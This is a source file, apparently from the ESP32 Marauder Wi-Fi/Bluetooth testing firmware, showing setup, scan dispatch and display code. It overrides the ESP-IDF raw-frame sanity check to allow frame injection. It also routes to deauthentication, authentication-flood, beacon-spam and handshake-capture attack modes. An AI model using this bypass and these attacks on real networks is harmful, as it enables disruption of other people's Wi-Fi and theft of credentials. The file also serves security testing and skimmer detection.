WiFiScan.cpp 102 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195319631973198319932003201320232033204320532063207320832093210321132123213321432153216321732183219
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  10. if (arg == 31337)
  11. return 1;
  12. else
  13. return 0;
  14. }
  15. #ifdef HAS_BT
  16. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  17. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  18. #ifdef HAS_SCREEN
  19. int buf = display_obj.display_buffer->size();
  20. #else
  21. int buf = 0;
  22. #endif
  23. String display_string = "";
  24. if (buf >= 0)
  25. {
  26. display_string.concat(text_table4[0]);
  27. display_string.concat(advertisedDevice->getRSSI());
  28. Serial.print(" RSSI: ");
  29. Serial.print(advertisedDevice->getRSSI());
  30. display_string.concat(" ");
  31. Serial.print(" ");
  32. Serial.print("Device: ");
  33. if(advertisedDevice->getName().length() != 0)
  34. {
  35. display_string.concat(advertisedDevice->getName().c_str());
  36. Serial.print(advertisedDevice->getName().c_str());
  37. }
  38. else
  39. {
  40. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  41. Serial.print(advertisedDevice->getAddress().toString().c_str());
  42. }
  43. #ifdef HAS_SCREEN
  44. uint8_t temp_len = display_string.length();
  45. for (uint8_t i = 0; i < 40 - temp_len; i++)
  46. {
  47. display_string.concat(" ");
  48. }
  49. Serial.println();
  50. while (display_obj.printing)
  51. delay(1);
  52. display_obj.loading = true;
  53. display_obj.display_buffer->add(display_string);
  54. display_obj.loading = false;
  55. #endif
  56. }
  57. }
  58. };
  59. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  60. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  61. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  62. #ifdef HAS_SCREEN
  63. int buf = display_obj.display_buffer->size();
  64. #else
  65. int buf = 0;
  66. #endif
  67. if (buf >= 0)
  68. {
  69. Serial.print("Device: ");
  70. String display_string = "";
  71. if(advertisedDevice->getName().length() != 0)
  72. {
  73. Serial.print(advertisedDevice->getName().c_str());
  74. for(uint8_t i = 0; i < bad_list_length; i++)
  75. {
  76. #ifdef HAS_SCREEN
  77. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  78. {
  79. display_string.concat(text_table4[1]);
  80. display_string.concat(" ");
  81. display_string.concat(advertisedDevice->getName().c_str());
  82. uint8_t temp_len = display_string.length();
  83. for (uint8_t i = 0; i < 40 - temp_len; i++)
  84. {
  85. display_string.concat(" ");
  86. }
  87. while (display_obj.printing)
  88. delay(1);
  89. display_obj.loading = true;
  90. display_obj.display_buffer->add(display_string);
  91. display_obj.loading = false;
  92. }
  93. #endif
  94. }
  95. }
  96. else
  97. {
  98. Serial.print(advertisedDevice->getAddress().toString().c_str());
  99. }
  100. Serial.print(" RSSI: ");
  101. Serial.println(advertisedDevice->getRSSI());
  102. }
  103. }
  104. };
  105. #endif
  106. WiFiScan::WiFiScan()
  107. {
  108. }
  109. void WiFiScan::RunSetup() {
  110. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  111. this->wsl_bypass_enabled = true;
  112. else
  113. this->wsl_bypass_enabled = false;
  114. ssids = new LinkedList<ssid>();
  115. access_points = new LinkedList<AccessPoint>();
  116. #ifdef HAS_BT
  117. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  118. NimBLEDevice::setScanDuplicateCacheSize(200);
  119. NimBLEDevice::init("");
  120. pBLEScan = NimBLEDevice::getScan(); //create new scan
  121. this->ble_initialized = true;
  122. this->shutdownBLE();
  123. #endif
  124. this->initWiFi(1);
  125. }
  126. int WiFiScan::clearAPs() {
  127. int num_cleared = access_points->size();
  128. access_points->clear();
  129. Serial.println("access_points: " + (String)access_points->size());
  130. return num_cleared;
  131. }
  132. int WiFiScan::clearSSIDs() {
  133. int num_cleared = ssids->size();
  134. ssids->clear();
  135. Serial.println("ssids: " + (String)ssids->size());
  136. return num_cleared;
  137. }
  138. bool WiFiScan::addSSID(String essid) {
  139. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  140. ssids->add(s);
  141. Serial.println(ssids->get(ssids->size() - 1).essid);
  142. return true;
  143. }
  144. int WiFiScan::generateSSIDs(int count) {
  145. uint8_t num_gen = count;
  146. for (uint8_t x = 0; x < num_gen; x++) {
  147. String essid = "";
  148. for (uint8_t i = 0; i < 6; i++)
  149. essid.concat(alfa[random(65)]);
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. }
  154. return num_gen;
  155. }
  156. #ifdef HAS_SCREEN
  157. void WiFiScan::joinWiFi(String ssid, String password)
  158. {
  159. static const char * btns[] ={text16, ""};
  160. int count = 0;
  161. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  162. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  163. lv_msgbox_set_text(mbox1, text_table4[2]);
  164. lv_msgbox_add_btns(mbox1, btns);
  165. lv_obj_set_width(mbox1, 200);
  166. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  167. this->wifi_initialized = true;
  168. return;
  169. }
  170. else if (WiFi.status() == WL_CONNECTED) {
  171. Serial.println("Already connected. Disconnecting...");
  172. WiFi.disconnect();
  173. }
  174. esp_wifi_init(&cfg);
  175. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  176. esp_wifi_set_mode(WIFI_MODE_NULL);
  177. esp_wifi_start();
  178. WiFi.begin(ssid.c_str(), password.c_str());
  179. Serial.print("Connecting to WiFi");
  180. while (WiFi.status() != WL_CONNECTED) {
  181. delay(500);
  182. Serial.print(".");
  183. count++;
  184. if (count == 10)
  185. {
  186. Serial.println("\nCould not connect to WiFi network");
  187. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  188. lv_msgbox_set_text(mbox1, text_table4[3]);
  189. lv_msgbox_add_btns(mbox1, btns);
  190. lv_obj_set_width(mbox1, 200);
  191. //lv_obj_set_event_cb(mbox1, event_handler);
  192. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  193. WiFi.mode(WIFI_OFF);
  194. return;
  195. }
  196. }
  197. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  198. lv_msgbox_set_text(mbox1, text_table4[4]);
  199. lv_msgbox_add_btns(mbox1, btns);
  200. lv_obj_set_width(mbox1, 200);
  201. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  202. connected_network = ssid;
  203. Serial.println("\nConnected to the WiFi network");
  204. Serial.print("IP address: ");
  205. Serial.println(WiFi.localIP());
  206. this->wifi_initialized = true;
  207. }
  208. #endif
  209. // Apply WiFi settings
  210. void WiFiScan::initWiFi(uint8_t scan_mode) {
  211. // Set the channel
  212. if (scan_mode != WIFI_SCAN_OFF) {
  213. //Serial.println(F("Initializing WiFi settings..."));
  214. this->changeChannel();
  215. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  216. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  217. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  218. //Serial.println(F("Initialization complete"));
  219. }
  220. }
  221. bool WiFiScan::scanning() {
  222. if (this->currentScanMode == WIFI_SCAN_OFF)
  223. return false;
  224. else
  225. return true;
  226. }
  227. // Function to prepare to run a specific scan
  228. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  229. {
  230. this->initWiFi(scan_mode);
  231. if (scan_mode == WIFI_SCAN_OFF)
  232. StopScan(scan_mode);
  233. else if (scan_mode == WIFI_SCAN_PROBE)
  234. RunProbeScan(scan_mode, color);
  235. else if (scan_mode == WIFI_SCAN_EAPOL)
  236. RunEapolScan(scan_mode, color);
  237. else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  238. RunEapolScan(scan_mode, color);
  239. else if (scan_mode == WIFI_SCAN_AP)
  240. RunBeaconScan(scan_mode, color);
  241. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  242. RunAPScan(scan_mode, color);
  243. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  244. RunAPScan(scan_mode, color);
  245. else if (scan_mode == WIFI_SCAN_PWN)
  246. RunPwnScan(scan_mode, color);
  247. else if (scan_mode == WIFI_SCAN_DEAUTH)
  248. RunDeauthScan(scan_mode, color);
  249. else if (scan_mode == WIFI_PACKET_MONITOR) {
  250. #ifdef HAS_SCREEN
  251. RunPacketMonitor(scan_mode, color);
  252. #endif
  253. }
  254. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  255. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  256. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  257. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  258. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  259. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  260. else if (scan_mode == WIFI_ATTACK_AUTH)
  261. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  262. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  263. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  264. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  265. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  266. else if (scan_mode == BT_SCAN_ALL) {
  267. #ifdef HAS_BT
  268. RunBluetoothScan(scan_mode, color);
  269. #endif
  270. }
  271. else if (scan_mode == BT_SCAN_SKIMMERS) {
  272. #ifdef HAS_BT
  273. RunBluetoothScan(scan_mode, color);
  274. #endif
  275. }
  276. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  277. RunEspressifScan(scan_mode, color);
  278. else if (scan_mode == LV_JOIN_WIFI) {
  279. #ifdef HAS_SCREEN
  280. RunLvJoinWiFi(scan_mode, color);
  281. #endif
  282. }
  283. else if (scan_mode == LV_ADD_SSID) {
  284. #ifdef HAS_SCREEN
  285. RunLvJoinWiFi(scan_mode, color);
  286. #endif
  287. }
  288. WiFiScan::currentScanMode = scan_mode;
  289. }
  290. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  291. // Common wifi attack configurations
  292. #ifdef HAS_SCREEN
  293. display_obj.TOP_FIXED_AREA_2 = 48;
  294. display_obj.tteBar = true;
  295. display_obj.print_delay_1 = 15;
  296. display_obj.print_delay_2 = 10;
  297. display_obj.initScrollValues(true);
  298. display_obj.tft.setTextWrap(false);
  299. display_obj.tft.setTextColor(TFT_BLACK, color);
  300. display_obj.tft.fillRect(0,16,240,16, color);
  301. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  302. display_obj.touchToExit();
  303. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  304. #endif
  305. packets_sent = 0;
  306. WiFi.mode(WIFI_AP_STA);
  307. //esp_wifi_init(&cfg);
  308. //esp_wifi_set_storage(WIFI_STORAGE_RAM);
  309. //esp_wifi_set_mode(WIFI_AP_STA);
  310. //esp_wifi_start();
  311. //esp_wifi_set_promiscuous_filter(NULL);
  312. esp_wifi_set_promiscuous(true);
  313. esp_wifi_set_max_tx_power(82);
  314. this->wifi_initialized = true;
  315. #ifdef MARAUDER_FLIPPER
  316. flipper_led.attackLED();
  317. #endif
  318. initTime = millis();
  319. }
  320. bool WiFiScan::shutdownWiFi() {
  321. if (this->wifi_initialized) {
  322. esp_wifi_set_promiscuous(false);
  323. WiFi.disconnect();
  324. WiFi.mode(WIFI_OFF);
  325. esp_wifi_set_mode(WIFI_MODE_NULL);
  326. esp_wifi_stop();
  327. esp_wifi_deinit();
  328. #ifdef MARAUDER_FLIPPER
  329. flipper_led.offLED();
  330. #endif
  331. this->wifi_initialized = false;
  332. return true;
  333. }
  334. else {
  335. return false;
  336. }
  337. }
  338. bool WiFiScan::shutdownBLE() {
  339. #ifdef HAS_BT
  340. if (this->ble_initialized) {
  341. pBLEScan->stop();
  342. pBLEScan->clearResults();
  343. BLEDevice::deinit();
  344. #ifdef MARAUDER_FLIPPER
  345. flipper_led.offLED();
  346. #endif
  347. this->ble_initialized = false;
  348. return true;
  349. }
  350. else {
  351. return false;
  352. }
  353. #endif
  354. return true;
  355. }
  356. // Function to stop all wifi scans
  357. void WiFiScan::StopScan(uint8_t scan_mode)
  358. {
  359. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  360. (currentScanMode == WIFI_SCAN_AP) ||
  361. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  362. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  363. (currentScanMode == WIFI_SCAN_PWN) ||
  364. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  365. (currentScanMode == WIFI_SCAN_EAPOL) ||
  366. (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
  367. (currentScanMode == WIFI_SCAN_ALL) ||
  368. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  369. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  370. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  371. (currentScanMode == WIFI_ATTACK_AUTH) ||
  372. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  373. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  374. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  375. (currentScanMode == WIFI_PACKET_MONITOR) ||
  376. (currentScanMode == LV_JOIN_WIFI))
  377. {
  378. this->shutdownWiFi();
  379. }
  380. else if ((currentScanMode == BT_SCAN_ALL) ||
  381. (currentScanMode == BT_SCAN_SKIMMERS))
  382. {
  383. #ifdef HAS_BT
  384. this->shutdownBLE();
  385. #endif
  386. }
  387. #ifdef HAS_SCREEN
  388. display_obj.display_buffer->clear();
  389. #ifdef SCREEN_BUFFER
  390. display_obj.screen_buffer->clear();
  391. #endif
  392. //Serial.print("display_buffer->size(): ");
  393. Serial.println(display_obj.display_buffer->size());
  394. display_obj.tteBar = false;
  395. #endif
  396. }
  397. String WiFiScan::getStaMAC()
  398. {
  399. char *buf;
  400. uint8_t mac[6];
  401. char macAddrChr[18] = {0};
  402. esp_wifi_init(&cfg);
  403. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  404. esp_wifi_set_mode(WIFI_MODE_NULL);
  405. esp_wifi_start();
  406. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  407. this->wifi_initialized = true;
  408. sprintf(macAddrChr,
  409. "%02X:%02X:%02X:%02X:%02X:%02X",
  410. mac[0],
  411. mac[1],
  412. mac[2],
  413. mac[3],
  414. mac[4],
  415. mac[5]);
  416. this->shutdownWiFi();
  417. return String(macAddrChr);
  418. }
  419. String WiFiScan::getApMAC()
  420. {
  421. char *buf;
  422. uint8_t mac[6];
  423. char macAddrChr[18] = {0};
  424. esp_wifi_init(&cfg);
  425. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  426. esp_wifi_set_mode(WIFI_MODE_NULL);
  427. esp_wifi_start();
  428. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  429. this->wifi_initialized = true;
  430. sprintf(macAddrChr,
  431. "%02X:%02X:%02X:%02X:%02X:%02X",
  432. mac[0],
  433. mac[1],
  434. mac[2],
  435. mac[3],
  436. mac[4],
  437. mac[5]);
  438. this->shutdownWiFi();
  439. return String(macAddrChr);
  440. }
  441. String WiFiScan::freeRAM()
  442. {
  443. char s[150];
  444. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  445. this->free_ram = String(esp_get_free_heap_size());
  446. return String(s);
  447. }
  448. // Function to start running a beacon scan
  449. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  450. {
  451. sd_obj.openCapture("ap");
  452. #ifdef MARAUDER_FLIPPER
  453. flipper_led.sniffLED();
  454. #endif
  455. Serial.println(text_table4[9] + (String)access_points->size());
  456. #ifdef HAS_SCREEN
  457. display_obj.TOP_FIXED_AREA_2 = 48;
  458. display_obj.tteBar = true;
  459. display_obj.print_delay_1 = 15;
  460. display_obj.print_delay_2 = 10;
  461. display_obj.initScrollValues(true);
  462. display_obj.tft.setTextWrap(false);
  463. display_obj.tft.setTextColor(TFT_WHITE, color);
  464. #ifndef MARAUDER_MINI
  465. display_obj.tft.fillRect(0,16,240,16, color);
  466. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  467. display_obj.touchToExit();
  468. #endif
  469. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  470. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  471. #endif
  472. esp_wifi_init(&cfg);
  473. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  474. esp_wifi_set_mode(WIFI_MODE_NULL);
  475. esp_wifi_start();
  476. esp_wifi_set_promiscuous(true);
  477. esp_wifi_set_promiscuous_filter(&filt);
  478. //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  479. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  480. //else
  481. // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  482. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  483. this->wifi_initialized = true;
  484. initTime = millis();
  485. }
  486. #ifdef HAS_SCREEN
  487. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  488. display_obj.tft.init();
  489. display_obj.tft.setRotation(1);
  490. #ifdef TFT_SHIELD
  491. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  492. Serial.println("Using TFT Shield");
  493. #else if defined(TFT_DIY)
  494. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  495. Serial.println("Using TFT DIY");
  496. #endif
  497. display_obj.tft.setTouch(calData);
  498. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  499. lv_disp_load_scr(scr);
  500. }
  501. #endif
  502. void WiFiScan::RunClearAPs() {
  503. #ifdef HAS_SCREEN
  504. display_obj.tft.setTextWrap(false);
  505. display_obj.tft.setFreeFont(NULL);
  506. display_obj.tft.setCursor(0, 100);
  507. display_obj.tft.setTextSize(1);
  508. display_obj.tft.setTextColor(TFT_CYAN);
  509. display_obj.tft.println(F(text_table4[9]));
  510. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  511. #else
  512. this->clearAPs();
  513. #endif
  514. }
  515. void WiFiScan::RunClearSSIDs() {
  516. #ifdef HAS_SCREEN
  517. display_obj.tft.setTextWrap(false);
  518. display_obj.tft.setFreeFont(NULL);
  519. display_obj.tft.setCursor(0, 100);
  520. display_obj.tft.setTextSize(1);
  521. display_obj.tft.setTextColor(TFT_CYAN);
  522. display_obj.tft.println(F(text_table4[11]));
  523. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  524. #else
  525. this->clearSSIDs();
  526. #endif
  527. }
  528. void WiFiScan::RunGenerateSSIDs(int count) {
  529. #ifdef HAS_SCREEN
  530. display_obj.tft.setTextWrap(false);
  531. display_obj.tft.setFreeFont(NULL);
  532. display_obj.tft.setCursor(0, 100);
  533. display_obj.tft.setTextSize(1);
  534. display_obj.tft.setTextColor(TFT_CYAN);
  535. display_obj.tft.println(F(text_table4[13]));
  536. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  537. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  538. #else
  539. this->generateSSIDs(count);
  540. #endif
  541. }
  542. void WiFiScan::RunShutdownWiFi() {
  543. #ifdef HAS_SCREEN
  544. display_obj.tft.setTextWrap(false);
  545. display_obj.tft.setFreeFont(NULL);
  546. display_obj.tft.setCursor(0, 100);
  547. display_obj.tft.setTextSize(1);
  548. display_obj.tft.setTextColor(TFT_CYAN);
  549. display_obj.tft.print(F(text_table4[16]));
  550. #endif
  551. if (this->wifi_initialized) {
  552. this->shutdownWiFi();
  553. #ifdef HAS_SCREEN
  554. display_obj.tft.setTextColor(TFT_GREEN);
  555. display_obj.tft.println(F("OK"));
  556. #endif
  557. }
  558. else {
  559. #ifdef HAS_SCREEN
  560. display_obj.tft.setTextColor(TFT_RED);
  561. display_obj.tft.println(F(text17));
  562. display_obj.tft.println(F(text_table4[17]));
  563. #endif
  564. }
  565. }
  566. void WiFiScan::RunShutdownBLE() {
  567. #ifdef HAS_SCREEN
  568. display_obj.tft.setTextWrap(false);
  569. display_obj.tft.setFreeFont(NULL);
  570. display_obj.tft.setCursor(0, 100);
  571. display_obj.tft.setTextSize(1);
  572. display_obj.tft.setTextColor(TFT_CYAN);
  573. display_obj.tft.print(F(text_table4[18]));
  574. #endif
  575. if (this->ble_initialized) {
  576. this->shutdownBLE();
  577. #ifdef HAS_SCREEN
  578. display_obj.tft.setTextColor(TFT_GREEN);
  579. display_obj.tft.println(F("OK"));
  580. #endif
  581. }
  582. else {
  583. #ifdef HAS_SCREEN
  584. display_obj.tft.setTextColor(TFT_RED);
  585. display_obj.tft.println(F(text17));
  586. display_obj.tft.println(F(text_table4[19]));
  587. #endif
  588. }
  589. }
  590. void WiFiScan::RunInfo()
  591. {
  592. String sta_mac = this->getStaMAC();
  593. String ap_mac = this->getApMAC();
  594. String free_ram = this->freeRAM();
  595. //Serial.print("STA MAC: ");
  596. //Serial.println(sta_mac);
  597. //Serial.print("AP MAC: ");
  598. //Serial.println(ap_mac);
  599. Serial.println(free_ram);
  600. #ifdef HAS_SCREEN
  601. display_obj.tft.setTextWrap(false);
